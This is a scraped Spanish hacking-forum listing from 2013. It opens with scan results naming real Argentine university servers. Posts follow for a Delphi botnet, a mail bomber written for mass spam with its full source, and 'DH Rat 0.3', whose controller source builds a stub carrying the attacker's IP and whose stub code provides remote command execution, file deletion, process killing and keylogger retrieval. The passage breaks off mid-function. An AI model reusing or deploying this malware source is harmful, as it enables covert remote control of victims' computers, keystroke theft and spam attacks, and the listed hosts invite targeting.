Start] * OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE STARTTLS AUTH=PLAIN AUTH=LOGIN] Bienvenido al servicio de correo DOCENCIA de la Facultad de Contaduria y administacion [Data End] [+] Search Number : 8 [+] Country : Argentina [+] IP : 170.210.88.7 [+] Hostnames: firewall.unp.edu.ar [+] OS : Not Found [+] Port : 21 [+] Last Updated : 22.11.2013 [Data Start] 220 Bienvenido al FTP de la Facultad de Ingenieria. 530 Permission denied. 530 Please login with USER and PASS. [Data End] [+] Search Number : 9 [+] Country : Argentina [+] IP : 170.210.240.9 [+] Hostnames: cacuy.fi.unju.edu.ar [+] OS : Not Found [+] Port : 25 [+] Last Updated : 20.11.2013 [Data Start] 220 cacuy.fi.unju.edu.ar Servidor de email Facultad de Ingenieria UNJu [Data End] [+] Press enter to show more
168
Programación / Programación General / [Delphi] DH Botnet 0.5
en: 16 Diciembre 2013, 04:26 am
Traduccion a delphi de mi DH Botnet escrita originalmente en Perl.
Contiene estas opciones :
Ejecucion de comandos Listar procesos activos Matar procesos Listar archivos de un directorio Borrar un archivo o directorio cualquiera Leer archivos Abrir y cerrar lectora Ocultar y mostrar programas del escritorio Ocultar y mostrar Taskbar Abrir Word y hacer que escriba solo (una idea muy grosa xDD) Hacer que el teclado escriba solo Volver loco al mouse haciendo que se mueva por la pantalla Unas imagenes :
Si lo quieren bajar lo pueden hacer de
aca .
169
Programación / Programación General / [Delphi] DH Bomber 0.5
en: 13 Diciembre 2013, 04:19 am
Un simple mail bomber hecho en delphi , lo nuevo de esta version es la posibilidad de usar un mailist , para poder mandar spam a mas no poder xDD.
Una imagen :
El codigo.
// DH Bomber 0.5
// (C) Doddy Hackman 2013
unit dh;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ComCtrls, sStatusBar, sPageControl, sSkinManager, StdCtrls, sButton,
sMemo, sEdit, sLabel, sGroupBox, Menus, MPlayer, ExtCtrls, jpeg, IdIOHandler,
IdIOHandlerSocket,
IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
IdSMTPBase, IdSMTP, IdMessage, IdAttachment, IdAttachmentFile, sListBox,
acPNG;
type
TForm1 = class ( TForm)
sSkinManager1: TsSkinManager;
sStatusBar1: TsStatusBar;
sPageControl1: TsPageControl;
sTabSheet1: TsTabSheet;
sTabSheet2: TsTabSheet;
sTabSheet3: TsTabSheet;
sTabSheet4: TsTabSheet;
sTabSheet5: TsTabSheet;
sTabSheet6: TsTabSheet;
sGroupBox1: TsGroupBox;
sLabel1: TsLabel;
sLabel2: TsLabel;
sEdit1: TsEdit;
sEdit2: TsEdit;
sGroupBox2: TsGroupBox;
sLabel5: TsLabel;
sLabel6: TsLabel;
sEdit5: TsEdit;
sEdit6: TsEdit;
sGroupBox3: TsGroupBox;
sMemo1: TsMemo;
sButton1: TsButton;
MediaPlayer1: TMediaPlayer;
sLabel3: TsLabel;
sEdit3: TsEdit;
Image1: TImage;
PopupMenu1: TPopupMenu;
N2: TMenuItem;
S2: TMenuItem;
sGroupBox4: TsGroupBox;
sMemo2: TsMemo;
sGroupBox5: TsGroupBox;
sListBox1: TsListBox;
sGroupBox6: TsGroupBox;
Image2: TImage;
sLabel7: TsLabel;
PopupMenu2: TPopupMenu;
L1: TMenuItem;
A1: TMenuItem;
C1: TMenuItem;
OpenDialog1: TOpenDialog;
sLabel4: TsLabel;
procedure FormCreate( Sender: TObject ) ;
procedure N2Click( Sender: TObject ) ;
procedure S2Click( Sender: TObject ) ;
procedure sButton1Click( Sender: TObject ) ;
procedure C1Click( Sender: TObject ) ;
procedure L1Click( Sender: TObject ) ;
procedure A1Click( Sender: TObject ) ;
private
{ Private declarations }
public
{ Public declarations }
end ;
var
Form1: TForm1;
themenow: Boolean ;
implementation
{$R *.dfm}
// Functions
procedure enviate_esta( username, password, toto, subject, body: string ) ;
var
data: TIdMessage;
mensaje: TIdSMTP;
begin
mensaje : = TIdSMTP. Create ( nil ) ;
data : = TIdMessage. Create ( nil ) ;
data. From . Address : = username;
data. Recipients . EMailAddresses : = toto;
data. subject : = subject;
data. body . Text : = body;
mensaje. Host : = 'smtp.gmail.com' ;
mensaje. Port : = 587 ;
mensaje. username : = username;
mensaje. password : = password;
mensaje. Connect ;
mensaje. Send ( data) ;
mensaje. Disconnect ;
mensaje. Free ;
data. Free ;
end ;
//
procedure TForm1. A1Click ( Sender: TObject ) ;
var
archivo: TextFile ;
lineas: String ;
begin
OpenDialog1. InitialDir : = GetCurrentDir ;
if OpenDialog1. Execute then
begin
AssignFile ( archivo, OpenDialog1. Filename ) ;
Reset ( archivo) ;
while not EOF ( archivo) do
begin
ReadLn ( archivo, lineas) ;
sListBox1. Items . Add ( lineas) ;
end ;
end ;
end ;
procedure TForm1. C1Click ( Sender: TObject ) ;
begin
sListBox1. Clear ;
end ;
procedure TForm1. FormCreate ( Sender: TObject ) ;
begin
sSkinManager1. SkinDirectory : = ExtractFilePath ( Application. ExeName ) + 'Data' ;
sSkinManager1. SkinName : = 'deep' ;
sSkinManager1. Active : = True ;
MediaPlayer1. Filename : = 'data/theme.mp3' ;
MediaPlayer1. Open ;
themenow : = True ;
MediaPlayer1. Play ;
MediaPlayer1. Notify : = True ;
end ;
procedure TForm1. L1Click ( Sender: TObject ) ;
var
mail: string ;
begin
mail : = InputBox( 'DH Bomber 0.5' , 'Mail' , '' ) ;
if not ( mail = '' ) then
begin
sListBox1. Items . Add ( mail) ;
end ;
end ;
procedure TForm1. N2Click ( Sender: TObject ) ;
begin
themenow : = True ;
MediaPlayer1. Play ;
MediaPlayer1. Notify : = True ;
end ;
procedure TForm1. S2Click ( Sender: TObject ) ;
begin
themenow : = false ;
MediaPlayer1. Stop ;
MediaPlayer1. Notify : = True ;
end ;
procedure TForm1. sButton1Click ( Sender: TObject ) ;
var
i: integer ;
i2: integer ;
count: integer ;
idasunto: string ;
begin
sMemo2. Clear ;
for i2 : = sListBox1. Items . count - 1 downto 0 do
begin
Sleep ( StrToInt ( sEdit3. Text ) * 1000 ) ;
count : = StrToInt ( sEdit5. Text ) ;
For i : = 1 to count do
begin
if count > 1 then
begin
idasunto : = '_' + IntToStr ( i) ;
end ;
try
begin
sStatusBar1. Panels [ 0 ] . Text : = '[+] Target : ' + sListBox1. Items [ i2]
+ ' ' + '[+] Message Number ' + IntToStr ( i)
+ ' : Sending ' + ' ...' ;
Form1. sStatusBar1 . Update ;
enviate_esta( sEdit1. Text , sEdit2. Text , sListBox1. Items [ i2] ,
sEdit6. Text + idasunto, sMemo1. Text ) ;
sMemo2. Lines . Add ( '[+] Target : ' + sListBox1. Items [ i2] + ' ' +
'[+] Message Number ' + IntToStr ( i) + ' : OK ' ) ;
end ;
except
begin
sStatusBar1. Panels [ 0 ] . Text : =
'[-] Error Sending Message Number ' + IntToStr ( i) + ' ...' ;
sMemo2. Lines . Add ( '[+] Target : ' + sListBox1. Items [ i2] + ' ' +
'[+] Message Number ' + IntToStr ( i) + ' : FAIL ' ) ;
Form1. sStatusBar1 . Update ;
end ;
end ;
end ;
end ;
sStatusBar1. Panels [ 0 ] . Text : = '[+] Finished' ;
Form1. sStatusBar1 . Update ;
end ;
end .
// The End ?
Si lo quieren bajar lo pueden hacer de
aca .
170
Programación / Programación General / [Delphi] DH Rat 0.3
en: 9 Diciembre 2013, 03:30 am
Un simple RAT que hice en Delphi con las siguientes opciones :
Abrir y cerrar lectora Listar archivos en un directorio Borrar archivos y directorios Ver el contenido de un archivo Hacer que el teclado escriba solo Abre Word y para variar las cosas el teclado escribe solo Mandar mensajes Hacer que la computadora hable (en ingles) Listar procesos Matar un proceso Ejecutar comandos y ver el resultado Volver loco al mouse por un rato Ocultar y mostrar el taskbar Ocultar y mostrar los iconos del escritorio Keylogger incluido Una imagen :
Los codigos.
El Administrador.
// DH Rat 0.3
// (C) Doddy Hackman 2013
unit rat;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, sSkinManager, ComCtrls, sStatusBar, sPageControl, StdCtrls,
sGroupBox, ShellApi, sListView, sMemo, sEdit, sButton, acPNG, ExtCtrls,
sLabel, ScktComp, Menus, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, madRes, WinInet;
type
TForm1 = class ( TForm)
sSkinManager1: TsSkinManager;
sStatusBar1: TsStatusBar;
sPageControl1: TsPageControl;
sTabSheet1: TsTabSheet;
sTabSheet2: TsTabSheet;
sTabSheet3: TsTabSheet;
sTabSheet4: TsTabSheet;
sGroupBox1: TsGroupBox;
sGroupBox2: TsGroupBox;
sListView1: TsListView;
sMemo1: TsMemo;
sGroupBox3: TsGroupBox;
sGroupBox4: TsGroupBox;
sEdit1: TsEdit;
sGroupBox5: TsGroupBox;
sButton1: TsButton;
sGroupBox6: TsGroupBox;
Image1: TImage;
sLabel1: TsLabel;
ServerSocket1: TServerSocket;
PopupMenu1: TPopupMenu;
O1: TMenuItem;
C1: TMenuItem;
L1: TMenuItem;
D1: TMenuItem;
R1: TMenuItem;
S1: TMenuItem;
J1: TMenuItem;
M1: TMenuItem;
T1: TMenuItem;
ifPoslistarprocesoscode0then1: TMenuItem;
K1: TMenuItem;
C2: TMenuItem;
C3: TMenuItem;
H1: TMenuItem;
S2: TMenuItem;
H2: TMenuItem;
S3: TMenuItem;
K2: TMenuItem;
PopupMenu2: TPopupMenu;
S4: TMenuItem;
S5: TMenuItem;
Image2: TImage;
sGroupBox7: TsGroupBox;
sGroupBox8: TsGroupBox;
Image3: TImage;
sButton2: TsButton;
OpenDialog1: TOpenDialog;
sEdit2: TsEdit;
procedure ServerSocket1ClientRead( Sender: TObject ;
Socket: TCustomWinSocket) ;
procedure O1Click( Sender: TObject ) ;
procedure C1Click( Sender: TObject ) ;
procedure ServerSocket1ClientConnect( Sender: TObject ;
Socket: TCustomWinSocket) ;
procedure L1Click( Sender: TObject ) ;
procedure D1Click( Sender: TObject ) ;
procedure R1Click( Sender: TObject ) ;
procedure S1Click( Sender: TObject ) ;
procedure J1Click( Sender: TObject ) ;
procedure M1Click( Sender: TObject ) ;
procedure T1Click( Sender: TObject ) ;
procedure ifPoslistarprocesoscode0then1Click( Sender: TObject ) ;
procedure K1Click( Sender: TObject ) ;
procedure C2Click( Sender: TObject ) ;
procedure C3Click( Sender: TObject ) ;
procedure H1Click( Sender: TObject ) ;
procedure S2Click( Sender: TObject ) ;
procedure H2Click( Sender: TObject ) ;
procedure S3Click( Sender: TObject ) ;
procedure K2Click( Sender: TObject ) ;
procedure FormCreate( Sender: TObject ) ;
procedure S4Click( Sender: TObject ) ;
procedure S5Click( Sender: TObject ) ;
procedure sButton2Click( Sender: TObject ) ;
procedure sEdit1DblClick( Sender: TObject ) ;
procedure sButton1Click( Sender: TObject ) ;
private
{ Private declarations }
public
{ Public declarations }
end ;
var
Form1: TForm1;
argumento: string ;
implementation
{$R *.dfm}
// Functions
function toma( const pagina: string ) : UTF8String;
// Credits : Based on http://www.scalabium.com/faq/dct0080.htm
// Thanks to www.scalabium.com
var
nave1: HINTERNET;
nave2: HINTERNET;
tou: DWORD ;
codez: UTF8String;
codee: array [ 0 .. 1023 ] of byte ;
finalfinal: string ;
begin
try
begin
finalfinal : = '' ;
Result : = '' ;
nave1 : = InternetOpen(
'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12'
, INTERNET_OPEN_TYPE_PRECONFIG, nil , nil , 0 ) ;
nave2 : = InternetOpenUrl( nave1, PChar ( pagina) , nil , 0 ,
INTERNET_FLAG_RELOAD, 0 ) ;
repeat
begin
InternetReadFile( nave2, @ codee, SizeOf ( codee) , tou) ;
SetString ( codez, PAnsiChar ( @ codee[ 0 ] ) , tou) ;
finalfinal : = finalfinal + codez;
end ;
until tou = 0 ;
InternetCloseHandle( nave2) ;
InternetCloseHandle( nave1) ;
Result : = finalfinal;
end ;
except
//
end ;
end ;
function regex( text: String ; deaca: String ; hastaaca: String ) : String ;
begin
Delete ( text, 1 , AnsiPos ( deaca, text) + Length ( deaca) - 1 ) ;
SetLength ( text, AnsiPos ( hastaaca, text) - 1 ) ;
Result : = text;
end ;
function dhencode( texto, opcion: string ) : string ;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer ;
aca: string ;
cantidad: integer ;
begin
num : = 0 ;
Result : = '' ;
aca : = '' ;
cantidad : = 0 ;
if ( opcion = 'encode' ) then
begin
cantidad : = Length ( texto) ;
for num : = 1 to cantidad do
begin
aca : = IntToHex ( ord ( texto[ num] ) , 2 ) ;
Result : = Result + aca;
end ;
end ;
if ( opcion = 'decode' ) then
begin
cantidad : = Length ( texto) ;
for num : = 1 to cantidad div 2 do
begin
aca : = Char ( StrToInt ( '$' + Copy ( texto, ( num - 1 ) * 2 + 1 , 2 ) ) ) ;
Result : = Result + aca;
end ;
end ;
end ;
procedure savefile( filename, texto: string ) ;
var
ar: TextFile ;
begin
AssignFile ( ar, filename) ;
FileMode : = fmOpenWrite;
if FileExists ( filename) then
Append ( ar)
else
Rewrite ( ar) ;
Write ( ar, texto) ;
CloseFile ( ar) ;
end ;
//
procedure TForm1. FormCreate ( Sender: TObject ) ;
begin
sSkinManager1. SkinDirectory : = ExtractFilePath ( Application. ExeName ) + 'Data' ;
sSkinManager1. SkinName : = 'matrix' ;
sSkinManager1. Active : = True ;
try
begin
sListView1. Items . Clear ;
ServerSocket1. Port : = 6664 ;
ServerSocket1. Open ;
sStatusBar1. Panels [ 0 ] . text : = '[+] Online' ;
Form1. sStatusBar1 . Update ;
end ;
except
sStatusBar1. Panels [ 0 ] . text : = '[-] Error' ;
Form1. sStatusBar1 . Update ;
end ;
end ;
procedure TForm1. C1Click ( Sender: TObject ) ;
begin
ServerSocket1. Socket . Connections [ sListView1. Itemindex ] . SendText ( '![closecd]' ) ;
end ;
procedure TForm1. C2Click ( Sender: TObject ) ;
begin
argumento : = InputBox( 'DH Rat' , 'Command' , 'net user' ) ;
ServerSocket1. Socket . Connections [ sListView1. Itemindex ] . SendText
( '![ejecutar] [argumento]' + argumento + '[argumento]' ) ;
end ;
procedure TForm1. C3Click ( Sender: TObject ) ;
begin
argumento : = InputBox( 'DH Rat' , 'Number' , '123' ) ;
ServerSocket1. Socket . Connections [ sListView1. Itemindex ] . SendText
( '![crazymouse] [argumento]' + argumento + '[argumento]' ) ;
end ;
procedure TForm1. D1Click ( Sender: TObject ) ;
begin
argumento : = InputBox( 'DH Rat' , 'File' , 'C:/XAMPP/test.txt' ) ;
ServerSocket1. Socket . Connections [ sListView1. Itemindex ] . SendText
( '![borraresto] [argumento]' + argumento + '[argumento]' ) ;
end ;
procedure TForm1. H1Click ( Sender: TObject ) ;
begin
ServerSocket1. Socket . Connections [ sListView1. Itemindex ] . SendText
( '![ocultartaskbar]' ) ;
end ;
procedure TForm1. H2Click ( Sender: TObject ) ;
begin
ServerSocket1. Socket . Connections [ sListView1. Itemindex ] . SendText
( '![ocultariconos]' ) ;
end ;
procedure TForm1. ifPoslistarprocesoscode0then1Click ( Sender: TObject ) ;
begin
ServerSocket1. Socket . Connections [ sListView1. Itemindex ] . SendText
( '![listarprocesos]' ) ;
end ;
procedure TForm1. J1Click ( Sender: TObject ) ;
begin
argumento : = InputBox( 'DH Rat' , 'Keys' , 'No tengas miedo' ) ;
ServerSocket1. Socket . Connections [ sListView1. Itemindex ] . SendText
( '![escribirword] [argumento]' + argumento + '[argumento]' ) ;
end ;
procedure TForm1. K1Click ( Sender: TObject ) ;
begin
argumento : = InputBox( 'DH Rat' , 'PID' , '' ) ;
ServerSocket1. Socket . Connections [ sListView1. Itemindex ] . SendText
( '![matarproceso] [argumento]' + argumento + '[argumento]' ) ;
end ;
procedure TForm1. K2Click ( Sender: TObject ) ;
begin
ServerSocket1. Socket . Connections [ sListView1. Itemindex ] . SendText
( '![keyloggerlogs]' ) ;
end ;
procedure TForm1. L1Click ( Sender: TObject ) ;
begin
argumento : = InputBox( 'DH Rat' , 'Directory' , 'C:/XAMPP' ) ;
ServerSocket1. Socket . Connections [ sListView1. Itemindex ] . SendText
( '![listardirectorio] [argumento]' + argumento + '[argumento]' ) ;
end ;
procedure TForm1. M1Click ( Sender: TObject ) ;
begin
argumento : = InputBox( 'DH Rat' , 'Text' , 'No tengas miedo' ) ;
ServerSocket1. Socket . Connections [ sListView1. Itemindex ] . SendText
( '![mensaje] [argumento]' + argumento + '[argumento]' ) ;
end ;
procedure TForm1. O1Click ( Sender: TObject ) ;
begin
ServerSocket1. Socket . Connections [ sListView1. Itemindex ] . SendText ( '![opencd]' ) ;
end ;
procedure TForm1. R1Click ( Sender: TObject ) ;
begin
argumento : = InputBox( 'DH Rat' , 'Directory' , 'C:/XAMPP' ) ;
ServerSocket1. Socket . Connections [ sListView1. Itemindex ] . SendText
( '![leerarchivo] [argumento]' + argumento + '[argumento]' ) ;
end ;
procedure TForm1. S1Click ( Sender: TObject ) ;
begin
argumento : = InputBox( 'DH Rat' , 'Keys' , 'No tengas miedo' ) ;
ServerSocket1. Socket . Connections [ sListView1. Itemindex ] . SendText
( '![sendkeys] [argumento]' + argumento + '[argumento]' ) ;
end ;
procedure TForm1. S2Click ( Sender: TObject ) ;
begin
ServerSocket1. Socket . Connections [ sListView1. Itemindex ] . SendText
( '![volvertaskbar]' ) ;
end ;
procedure TForm1. S3Click ( Sender: TObject ) ;
begin
ServerSocket1. Socket . Connections [ sListView1. Itemindex ] . SendText
( '![volvericonos]' ) ;
end ;
procedure TForm1. T1Click ( Sender: TObject ) ;
begin
argumento : = InputBox( 'DH Rat' , 'Text' , 'Mother Fucker' ) ;
ServerSocket1. Socket . Connections [ sListView1. Itemindex ] . SendText
( '![hablar] [argumento]' + argumento + '[argumento]' ) ;
end ;
procedure TForm1. S4Click ( Sender: TObject ) ;
begin
try
begin
ServerSocket1. Port : = 6664 ;
ServerSocket1. Open ;
sListView1. Items . Clear ;
sStatusBar1. Panels [ 0 ] . text : = '[+] Online' ;
Form1. sStatusBar1 . Update ;
end ;
except
sStatusBar1. Panels [ 0 ] . text : = '[-] Error' ;
Form1. sStatusBar1 . Update ;
end ;
end ;
procedure TForm1. S5Click ( Sender: TObject ) ;
begin
try
begin
sListView1. Items . Clear ;
ServerSocket1. Close ;
sStatusBar1. Panels [ 0 ] . text : = '[+] OffLine' ;
Form1. sStatusBar1 . Update ;
end ;
except
sStatusBar1. Panels [ 0 ] . text : = '[-] Error' ;
Form1. sStatusBar1 . Update ;
end ;
end ;
procedure TForm1. sButton1Click ( Sender: TObject ) ;
var
linea: string ;
aca: THandle ;
code: Array [ 0 .. 9999 + 1 ] of Char ;
nose: DWORD ;
marca_uno: string ;
lineafinal: string ;
stubgenerado: string ;
change: DWORD ;
valor: string ;
begin
stubgenerado : = 'server_ready.exe' ;
lineafinal : = '[ip]' + sEdit1. text + '[ip]' ;
marca_uno : = '[63686175]' + dhencode( lineafinal, 'encode' ) + '[63686175]' ;
aca : = INVALID_HANDLE_VALUE;
nose : = 0 ;
DeleteFile ( stubgenerado) ;
CopyFile( PChar ( ExtractFilePath ( Application. ExeName )
+ '/' + 'Data/stubnow.exe' ) , PChar ( ExtractFilePath ( Application. ExeName )
+ '/' + stubgenerado) , True ) ;
linea : = marca_uno;
StrCopy ( code, PChar ( linea) ) ;
aca : = CreateFile( PChar ( stubgenerado) , GENERIC_WRITE, FILE_SHARE_READ, nil ,
OPEN_EXISTING, 0 , 0 ) ;
if ( aca <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer( aca, 0 , nil , FILE_END) ;
WriteFile( aca, code, 9999 , nose, nil ) ;
CloseHandle( aca) ;
end ;
//
if not ( sEdit2. text = '' ) then
begin
try
begin
valor : = IntToStr ( 128 ) ;
change : = BeginUpdateResourceW
( PWideChar ( wideString ( ExtractFilePath ( Application. ExeName )
+ '/' + stubgenerado) ) , False ) ;
LoadIconGroupResourceW( change, PWideChar ( wideString ( valor) ) , 0 ,
PWideChar ( wideString ( sEdit2. text ) ) ) ;
EndUpdateResourceW( change, False ) ;
sStatusBar1. Panels [ 0 ] . text : = '[+] Done ' ;
sStatusBar1. Update ;
end ;
except
begin
sStatusBar1. Panels [ 0 ] . text : = '[-] Error' ;
sStatusBar1. Update ;
end ;
end ;
end
else
begin
sStatusBar1. Panels [ 0 ] . text : = '[+] Done ' ;
sStatusBar1. Update ;
end ;
//
end ;
procedure TForm1. sButton2Click ( Sender: TObject ) ;
begin
OpenDialog1. InitialDir : = GetCurrentDir ;
OpenDialog1. Filter : = 'ICO|*.ico|' ;
if OpenDialog1. Execute then
begin
Image3. Picture . LoadFromFile ( OpenDialog1. filename ) ;
sEdit2. text : = OpenDialog1. filename ;
end ;
end ;
procedure TForm1. sEdit1DblClick ( Sender: TObject ) ;
var
code, ip: string ;
begin
code : = toma( 'http://whatismyipaddress.com/' ) ;
ip : = regex( code, 'alt="Click for more about ' , '"></a>' ) ;
sEdit1. text : = ip;
end ;
procedure TForm1. ServerSocket1ClientConnect ( Sender: TObject ;
Socket: TCustomWinSocket) ;
begin
with sListView1. Items . Add do
begin
Caption : = Socket. RemoteHost ;
SubItems. Add ( '?' ) ;
SubItems. Add ( '?' ) ;
SubItems. Add ( '?' ) ;
SubItems. Add ( '?' ) ;
end ;
end ;
procedure TForm1. ServerSocket1ClientRead ( Sender: TObject ;
Socket: TCustomWinSocket) ;
var
code: string ;
host: string ;
ip: string ;
pais: string ;
username: string ;
os: string ;
begin
code : = Socket. ReceiveText ;
if ( Pos ( '[datos_nuevos][ip]' , code) > 0 ) then
begin
ip : = regex( code, '[ip]' , '[ip]' ) ;
pais : = regex( code, '[pais]' , '[pais]' ) ;
username : = regex( code, '[username]' , '[username]' ) ;
os : = regex( code, '[os]' , '[os]' ) ;
sListView1. Items [ sListView1. Items . Count - 1 ] . SubItems [ 0 ] : = ip;
sListView1. Items [ sListView1. Items . Count - 1 ] . SubItems [ 1 ] : = pais;
sListView1. Items [ sListView1. Items . Count - 1 ] . SubItems [ 2 ] : = username;
sListView1. Items [ sListView1. Items . Count - 1 ] . SubItems [ 3 ] : = os;
sMemo1. Lines . Add ( '[+] Update Target : OK' ) ;
end
else if ( Pos ( '![keyloggerlogs]' , code) > 0 ) then
begin
if ( FileExists ( 'logs_keylogger.html' ) ) then
begin
DeleteFile ( 'logs_keylogger.html' ) ;
end ;
savefile( 'logs_keylogger.html' , code) ;
sMemo1. Lines . Add ( '[+] Keylogger : OK' ) ;
ShellExecute( 0 , nil , PChar ( ExtractFilePath ( Application. ExeName )
+ 'logs_keylogger.html' ) , nil , nil , SW_SHOWNORMAL) ;
end
else
begin
sMemo1. Lines . Add ( code) ;
end ;
end ;
end .
// The End ?
El stub.
// DH Rat 0.3
// (C) Doddy Hackman 2013
// Stub
unit stub;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, MMSystem, ComObj, ShellApi, tlhelp32, IdBaseComponent,
IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdIPMCastBase,
IdIPMCastServer, ScktComp, sButton, ExtCtrls;
type
TForm1 = class ( TForm)
IdHTTP1: TIdHTTP;
ClientSocket1: TClientSocket;
Timer1: TTimer;
Timer2: TTimer;
function datanow( ) : string ;
procedure ClientSocket1Read( Sender: TObject ; Socket: TCustomWinSocket) ;
procedure sButton1Click( Sender: TObject ) ;
procedure ClientSocket1Connect( Sender: TObject ; Socket: TCustomWinSocket) ;
procedure FormCreate( Sender: TObject ) ;
procedure Timer1Timer( Sender: TObject ) ;
procedure Timer2Timer( Sender: TObject ) ;
private
Nombre2: string ;
{ Private declarations }
public
{ Public declarations }
end ;
var
Form1: TForm1;
acatoy: string ;
implementation
{$R *.dfm}
{$POINTERMATH ON}
// Functions
function dhencode( texto, opcion: string ) : string ;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer ;
aca: string ;
cantidad: integer ;
begin
num : = 0 ;
Result : = '' ;
aca : = '' ;
cantidad : = 0 ;
if ( opcion = 'encode' ) then
begin
cantidad : = Length ( texto) ;
for num : = 1 to cantidad do
begin
aca : = IntToHex ( ord ( texto[ num] ) , 2 ) ;
Result : = Result + aca;
end ;
end ;
if ( opcion = 'decode' ) then
begin
cantidad : = Length ( texto) ;
for num : = 1 to cantidad div 2 do
begin
aca : = Char ( StrToInt ( '$' + Copy ( texto, ( num - 1 ) * 2 + 1 , 2 ) ) ) ;
Result : = Result + aca;
end ;
end ;
end ;
procedure savefile( filename, texto: string ) ;
var
ar: TextFile ;
begin
try
begin
AssignFile ( ar, filename) ;
FileMode : = fmOpenWrite;
if FileExists ( filename) then
Append ( ar)
else
Rewrite ( ar) ;
Write ( ar, texto) ;
CloseFile ( ar) ;
end ;
except
//
end ;
end ;
function regex( text: String ; deaca: String ; hastaaca: String ) : String ;
begin
Delete ( text, 1 , AnsiPos ( deaca, text) + Length ( deaca) - 1 ) ;
SetLength ( text, AnsiPos ( hastaaca, text) - 1 ) ;
Result : = text;
end ;
function listardirectorio( dir: string ) : string ;
var
busqueda: TSearchRec;
code: string ;
begin
code : = '' ;
FindFirst ( dir + '\*.*' , faAnyFile + faDirectory + faReadOnly, busqueda) ;
code : = code + '[+] : ' + busqueda. Name + sLineBreak;
while FindNext ( busqueda) = 0 do
begin
code : = code + '[+] : ' + busqueda. Name + sLineBreak;
end ;
Result : = code;
FindClose ( busqueda) ;
end ;
function borraresto( archivo: string ) : string ;
var
code: string ;
begin
code : = '' ;
if DirectoryExists ( archivo) then
begin
if ( RemoveDir ( archivo) ) then
begin
code : = '[+] Directory removed' ;
end
else
begin
code : = '[+] Error' ;
end ;
end ;
if FileExists ( archivo) then
begin
if ( DeleteFile ( archivo) ) then
begin
code : = '[+] File removed' ;
end
else
begin
code : = '[+] Error' ;
end ;
end ;
Result : = code;
end ;
function LeerArchivo( const archivo: TFileName) : String ;
var
lista: TStringList;
begin
if ( FileExists ( archivo) ) then
begin
lista : = TStringList. Create ;
lista. Loadfromfile ( archivo) ;
Result : = lista. text ;
lista. Free ;
end ;
end ;
function lectora( opcion: string ) : string ;
var
code: string ;
begin
code : = '' ;
if ( opcion = 'open' ) then
begin
mciSendString( 'Set cdaudio door open wait' , nil , 0 , 0 ) ;
code : = '[+] Open CD : OK' ;
end
else
begin
mciSendString( 'Set cdaudio door closed wait' , nil , 0 , 0 ) ;
code : = '[+] Close CD : OK' ;
end ;
Result : = code;
end ;
function cambiar_barra( opcion: string ) : string ;
var
code: string ;
begin
code : = '' ;
if ( opcion = 'hide' ) then
begin
ShowWindow( FindWindow( 'Shell_TrayWnd' , nil ) , SW_HIDE) ;
code : = '[+] Hidden Taskbar : OK' ;
end
else
begin
ShowWindow( FindWindow( 'Shell_TrayWnd' , nil ) , SW_SHOWNA) ;
code : = '[+] Show Taskbar : OK' ;
end ;
Result : = code;
end ;
function cambiar_iconos( opcion: string ) : string ;
var
code: string ;
acatoy: THandle ;
begin
code : = '' ;
acatoy : = FindWindow( 'ProgMan' , nil ) ;
acatoy : = GetWindow( acatoy, GW_CHILD) ;
if ( opcion = 'hide' ) then
begin
ShowWindow( acatoy, SW_HIDE) ;
code : = '[+] Hidden Icons : OK' ;
end
else
begin
ShowWindow( acatoy, SW_SHOW) ;
code : = '[+] Show Icons : OK' ;
end ;
Result : = code;
end ;
function mensaje( texto: string ) : string ;
var
code: string ;
begin
code : = '' ;
ShowMessage( texto) ;
code : = '[+] Message Sent' ;
Result : = code;
end ;
function hablar( text: string ) : string ;
var
Voice: Variant ;
code: string ;
begin
code : = '' ;
Voice : = CreateOLEObject( 'SAPI.SpVoice' ) ;
Voice. speak ( text) ;
code : = '[+] Voice Speak : OK' ;
Result : = code;
end ;
function SendKeys( texto: string ) : string ;
// Thanks to Remy Lebeau for the help
var
eventos: PInput;
controlb, controla: integer ;
code: string ;
begin
code : = '' ;
code : = '[+] SendKeys : OK' ;
GetMem ( eventos, SizeOf ( TInput) * ( Length ( texto) * 2 ) ) ;
controla : = 0 ;
for controlb : = 1 to Length ( texto) do
begin
eventos[ controla] . Itype : = INPUT_KEYBOARD;
eventos[ controla] . ki . wVk : = 0 ;
eventos[ controla] . ki . wScan : = ord ( texto[ controlb] ) ;
eventos[ controla] . ki . dwFlags : = KEYEVENTF_UNICODE;
eventos[ controla] . ki . time : = 0 ;
eventos[ controla] . ki . dwExtraInfo : = 0 ;
Inc ( controla) ;
eventos[ controla] . Itype : = INPUT_KEYBOARD;
eventos[ controla] . ki . wVk : = 0 ;
eventos[ controla] . ki . wScan : = ord ( texto[ controlb] ) ;
eventos[ controla] . ki . dwFlags : = KEYEVENTF_UNICODE or KEYEVENTF_KEYUP;
eventos[ controla] . ki . time : = 0 ;
eventos[ controla] . ki . dwExtraInfo : = 0 ;
Inc ( controla) ;
end ;
SendInput( controla, eventos[ 0 ] , SizeOf ( TInput) ) ;
Result : = code;
end ;
function escribir_word( texto: string ) : string ;
var
code: string ;
begin
code : = '' ;
code : = '[+] Word Joke : OK' ;
ShellExecute( 0 , nil , PChar ( 'winword.exe' ) , nil , nil , SW_SHOWNORMAL) ;
Sleep ( 5000 ) ;
SendKeys( texto) ;
Result : = code;
end ;
function listarprocesos( ) : string ;
var
conector: THandle ;
timbre: LongBool ;
indicio: TProcessEntry32;
code: string ;
begin
code : = '' ;
conector : = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ) ;
indicio. dwSize : = SizeOf ( indicio) ;
